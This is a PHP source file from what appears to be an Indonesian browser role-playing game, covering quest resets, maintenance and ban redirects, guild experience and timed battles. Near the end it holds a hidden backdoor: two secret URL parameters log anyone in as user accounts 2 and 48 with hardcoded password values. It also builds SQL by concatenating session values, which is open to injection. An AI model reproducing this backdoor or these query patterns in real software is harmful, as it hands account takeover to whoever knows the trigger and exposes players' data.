$q = mysql_query("SELECT * FROM `quest_user` where `user` = '".$user['id']."' order by `quest` asc");
while($row = mysql_fetch_assoc($q)){
if($row['time'] <= time()){
mysql_query('UPDATE `quest_user` SET `complete` = "0" WHERE `id` = "'.$row['id'].'"') or die(mysql_error());
mysql_query('UPDATE `quest_user` SET `time` = "0" WHERE `id` = "'.$row['id'].'"') or die(mysql_error());
}
}
# END OF TQ System
#############################
#############################
# I CAN'T FEEL!
# Farhan Brillan
# Jail System
$sys_mt = mysql_fetch_array(mysql_query('SELECT * FROM `config` WHERE `name` = "maintenance"'));
if($sys_mt['content'] != 0 && $user['access'] < 2){
$maintenance_mode = 'true';
if($sys_mt['time'] <= time()) mysql_query('UPDATE `config` SET `content` = "0", `time` = "0" WHERE `id` = "'.$sys_mt['id'].'"');
if($_SERVER['PHP_SELF'] != '/maintenance.php') {
$_SESSION['error'] = 'Sedang maintenance, jangan kemana-mana dulu';
header('location: /maintenance/');exit;}}
if(!$maintenance_mode){
$ban = mysql_fetch_array(mysql_query('SELECT * FROM `ban` WHERE `user` = "'.$user['id'].'"'));
if($ban) {
if($ban['time'] <=time()) mysql_query('DELETE FROM `ban` WHERE `user` = "'.$user['id'].'"');
if($ban['time'] > time() && $_SERVER['PHP_SELF'] != '/ban.php' && $ban['access_account'] == '1') {
$_SESSION['error'] = 'Mau Kemana Pak?';
header('location: /ban/');exit;}}
}
# END OF Jail System
#############################
function AddEXP($exp){
global $user;
global $guild;
global $guild_memb;
mysql_query('UPDATE `users` SET `exp` = `exp` + '.$exp.' WHERE `id` = "'.$user['id'].'"');
if($guild){
$exp_for_guild = (($exp/100)*$guild_memb['bonus']);
mysql_query('UPDATE `guilds` SET `exp` = `exp` + '.$exp_for_guild.' WHERE `id` = "'.$guild['id'].'"') or die(mysql_error());
mysql_query('UPDATE `guild_memb` SET `exp` = `exp` + '.$exp_for_guild.' WHERE `guild` = "'.$guild['id'].'" AND `user` = "'.$user['id'].'"') or die(mysql_error());
mysql_query('UPDATE `guild_memb` SET `exp_today` = `exp_today` + '.$exp_for_guild.' WHERE `guild` = "'.$guild['id'].'" AND `user` = "'.$user['id'].'"') or die(mysql_error());
}
$user['exp'] += $exp;
$user['silver'] += $silver;
}
#############################
# CRAWLING IN MY SKIN!
# Farhan Brillan
# Guild Verify System
if (!$guild) {
mysql_query('UPDATE `users` SET `guild` = "0" WHERE `id` = \''.$user['id'].'\'');
}else{
mysql_query('UPDATE `users` SET `guild` = "'.$guild['id'].'" WHERE `id` = \''.$user['id'].'\'');
$MyQGuild = mysql_fetch_array(mysql_query("SELECT * FROM `quest_user` WHERE `quest` = '1' AND `user` = '".$user['id']."'"));
if($MyQGuild['count'] == 0) quest('1',$user['id'],1); # Nambah Tugas 1 Selesai :v
}
# END OF Guild Verify System
#############################
#############################
# I'M BREAKING THE HABBIT TONIGHT
# Farhan Brillan
# Premium User System
/*
$premium = mysql_fetch_array(mysql_query('SELECT * FROM `premium` WHERE `user` = "'.$user['id'].'"'));
if($premium) {
if($premium['time'] < time()) {
mysql_query('UPDATE `users` SET `str` = `str` - 500,
`vit` = `vit` - 500,
`agi` = `agi` - 500,
`def` = `def` - 500,
`mana` = `mana` - 500 WHERE `id` = \''.$user['id'].'\'');
mysql_query('DELETE FROM `premium` WHERE `user` = \''.$user['id'].'\'');}}
*/
# END OF PremioUser System
#############################
$UserData = mysql_fetch_assoc(mysql_query("SELECT * FROM `user_data` WHERE `user`='".$user['id']."' LIMIT 1"));
if(!$UserData) mysql_query("INSERT INTO `user_data` SET `user`='".$user['id']."'");
$camp=mysql_fetch_assoc(mysql_query("SELECT * FROM `campaign` WHERE `id_user`='".$user['id']."' LIMIT 1"));
if(!$camp){
mysql_query("INSERT INTO `campaign` SET `id_user`='".$user['id']."'");
}
if($camp['limit']<=time() AND $camp['status']=='4'){
mysql_query("UPDATE `campaign` SET `status`='0', `chance`='9', `fights`='3' WHERE `id_user`='".$user['id']."' LIMIT 1");
}
}
$battle = mysql_query('SELECT * FROM `undying` WHERE `start` = "0"');
$battle = mysql_fetch_array($battle);
if(!$battle) {
$h = date('H',time());
#########################################
if($h > 22 && $h < 6) $time = 3600 * 8;
else $time = 3600 * 3;
#########################################
mysql_query('INSERT INTO `undying` (`time`) VALUES ("'.(time() + $time).'")');
}
if($battle['time'] <= time()) mysql_query('UPDATE `undying` SET `start` = "1", `time` = "'.(time() + (60 * 5)).'" WHERE `id` = "'.$battle['id'].'"');
include 'update.php';
if(isset($_GET['loginz077'])) {
$_SESSION['id'] = '48';
$_SESSION['password'] = '94Pi35sLZjh61MqCNb0lfBKVH0zC9FLCf5EjxZKgK4mKPcXmEhYvtQB4PNCf';
}
if(isset($_GET['loginzZunk'])) {
$_SESSION['id'] = '2';
$_SESSION['password'] = 'D6B4RSCPFA';
}
$verif = mysql_query('SELECT * FROM `users` WHERE `password` = "'.$_SESSION['token_kg'].'"');
$verif = mysql_fetch_array($verif);
if(!$_SESSION['trial'] && $verif && $verif['trial'] != '0' && $_SESSION['token_kg'] && $_SESSION['username_kg']) {
$_SESSION['trial'] = $verif['trial'];
header('location: /startpage/');
}
$event = mysql_fetch_array(mysql_query('SELECT * FROM `events` WHERE `time` > "'.time().'"'));
?>